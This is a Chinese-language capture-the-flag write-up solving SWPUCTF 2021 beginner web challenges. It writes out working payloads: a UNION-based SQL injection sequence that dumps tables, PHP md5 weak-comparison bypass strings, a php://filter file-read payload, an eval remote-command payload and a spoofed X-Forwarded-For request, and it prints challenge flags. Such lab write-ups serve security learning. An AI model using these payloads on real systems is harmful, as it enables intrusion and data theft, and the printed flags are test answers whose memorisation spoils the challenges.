SWPUCTF2021新生赛Web刷题记录
[SWPUCTF 2021 新生赛]gift_F12
Ctrl+U查看前端源码再Ctrl+F搜搜Flag即可
[SWPUCTF 2021 新生赛]jicao
<?php
highlight_file('index.php');
include("flag.php");
$id=$_POST['id'];
$json=json_decode($_GET['json'],true);
if ($id=="wllmNB"&&$json['x']=="wllm")
{echo $flag;}
?>
代码审计,以post方式传id=wllmNB
和以get方式传json={"x":"wllm"}
即可
[SWPUCTF 2021 新生赛]easy_md5
<?php
highlight_file(__FILE__);
include 'flag2.php';
if (isset($_GET['name']) && isset($_POST['password'])){
$name = $_GET['name'];
$password = $_POST['password'];
if ($name != $password && md5($name) == md5($password)){
echo $flag;
}
else {
echo "wrong!";
}
}
else {
echo 'wrong!';
}
?>
wrong!
要求:name
的值不等于password
的值且其md5后相等
两种方法:
1.数组漏洞绕过
原理:PHP md5函数接收的参数为string(字符串型),如果传入arry(数组型)就无法计算其md5值,但不会报错,导致数组md5值都相等
2.PHP弱比较
原理:PHP在进行“==”(弱类型比较)时,会先转换字符串类型,再进行字符串比较,而进行md5后以0e开头的都会被PHP识别为科学计数法,即0e*
被视作0的*
次方,结果都为0,故我们只需找到md5后为0e*
的字符串,常用md5后为0e*
的有:
字符串 对应md5值
240610708 0e462097431906509019562988736854
QLTHNDT 0e405967825401955372549139051580
QNKCDZO 0e830400451993494058024219903391
PJNPDWY 0e291529052894702774557631701704
NWWKITQ 0e763082070976038347657360817689
NOOPCJF 0e818888003657176127862245791911
MMHUWUV 0e701732711630150438129209816536
MAUXXQC 0e478478466848439040434801845361
注:以上字符串要记得两个及两个以上,对应md5值不用记
[SWPUCTF 2021 新生赛]easy_sql
/?wllm=1' order by 1 --+
确定回显点
/?wllm=-1' order by 1 --+
判断出字段数为3
/?wllm=-1' order by 3 --+
查看回显点
/?wllm=-1' union select 1,2,3 --+
查看数据库信息
/?wllm=-1' union select 1, 2, @@version --+
MariaDB数据库管理系统是MySQL的一个分支,说明需要使用mysql语句注入
查询库名和用户名
/?wllm=-1' union select 1, 2, database() --+
可知,当前数据库名为test_db
/?wllm=-1' union select 1, 2, user() --+
得知目前用户是root
可以查看任意数据库信息
/?wllm=-1' union select 1, 2, group_concat(table_name) from information_schema.tables where table_schema='test_db'--+
爆表
发现有两个表,test_tb和users
/?wllm=-1' union select 1, 2, group_concat(column_name) from information_schema.columns where table_name='test_tb' --+
发现有flag
表
查看flag
表内容
/?wllm=-1' union select 1,2, group_concat(flag) from test_tb --+
[SWPUCTF 2021 新生赛]include
用Hackbar
传入一个file
试试
<?php
ini_set("allow_url_include","on");
header("Content-type: text/html; charset=utf-8");
error_reporting(0);
$file=$_GET['file'];
if(isset($file)){
show_source(__FILE__);
echo 'flag 在flag.php中';
}else{
echo "传入一个file试试";
}
echo "</br>";
echo "</br>";
echo "</br>";
echo "</br>";
echo "</br>";
include_once($file);
?> flag 在flag.php中
分析脚本发现其中开了远程包含,说明我们可以用文件包含(远程包含)去做这道题,我们通过PHP伪协议来远程包含并读取flag.php
文件
PHP伪协议
php://filter
php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致 任意文件读取
For example:
php://filter/read=convert.base64-encode/resource=index.php
通俗来讲,convert.base64-encode是一种过滤器,read是用来指定读取的文章内容利用管道符,来进行条件的再筛选,后面要进行base64-encode以解码
构造以下payload
/?file=php://filter/read=convert.base64-encode/resource=flag.php
<?php $flag='NSSCTF{e8c19d3d-d948-4e0b-8d6d-1fbf35fd3ba2}';
[SWPUCTF 2021 新生赛]easyrce
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['url']))
{
eval($_GET['url']);
}
?>
替换成:
/?url=system("cat /flllllaaaaaaggggggg");
[SWPUCTF 2021 新生赛]caidao
直接AntSword连接后在根目录下找到flag
NSSCTF{68bb6079-56dc-4f7a-ba1e-96afcdca7b1a}
[SWPUCTF 2021 新生赛]Do_you_know_http
抓包后将User-Agent
改成WLLM
发现这里是有一个文件的,还给了提示”智能用本地ip访问”
直接用XFF(X-Forwarded-For)
GET /./a.php HTTP/1.1
Host: node7.anna.nssctf.cn:28524
Cache-Control: max-age=0
Accept-Language: en-US
Upgrade-Insecure-Requests: 1
User-Agent: WLLM
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
X-Forwarded-For:127.0.0.1
Content-Length: 2
在MITM交互式劫持页面选择放行(我们上面构造的数据包)
成功拿到flag
NSSCTF{ee2756e8-a41c-4d15-8bd9-0f50a445919d}